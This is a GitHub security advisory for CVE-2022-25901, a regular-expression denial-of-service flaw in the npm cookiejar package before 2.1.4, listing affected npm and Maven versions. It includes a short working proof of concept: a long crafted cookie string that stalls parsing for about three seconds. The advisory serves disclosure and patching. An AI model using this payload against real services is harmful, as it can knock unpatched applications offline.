GHSA-h452-7996-h45h

Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/01/GHSA-h452-7996-h45h/GHSA-h452-7996-h45h.json
Aliases
  • CVE-2022-25901
Published
2023-01-18T06:31:03Z
Modified
2023-03-18T05:42:15.793280Z
Details

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();

const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);

console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);

CookieJar.setCookie(): 2963.214399999939ms
References

Affected packages

npm / cookiejar

cookiejar

Affected ranges

Type
SEMVER
Events
Introduced
0
Fixed
2.1.4

Affected versions

Maven / org.webjars.npm:cookiejar

org.webjars.npm:cookiejar

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0

Affected versions

2.*

2.0.6
2.1.0
2.1.1
2.1.2
2.1.3

Database specific

{
    "last_known_affected_version_range": "<= 2.1.3"
}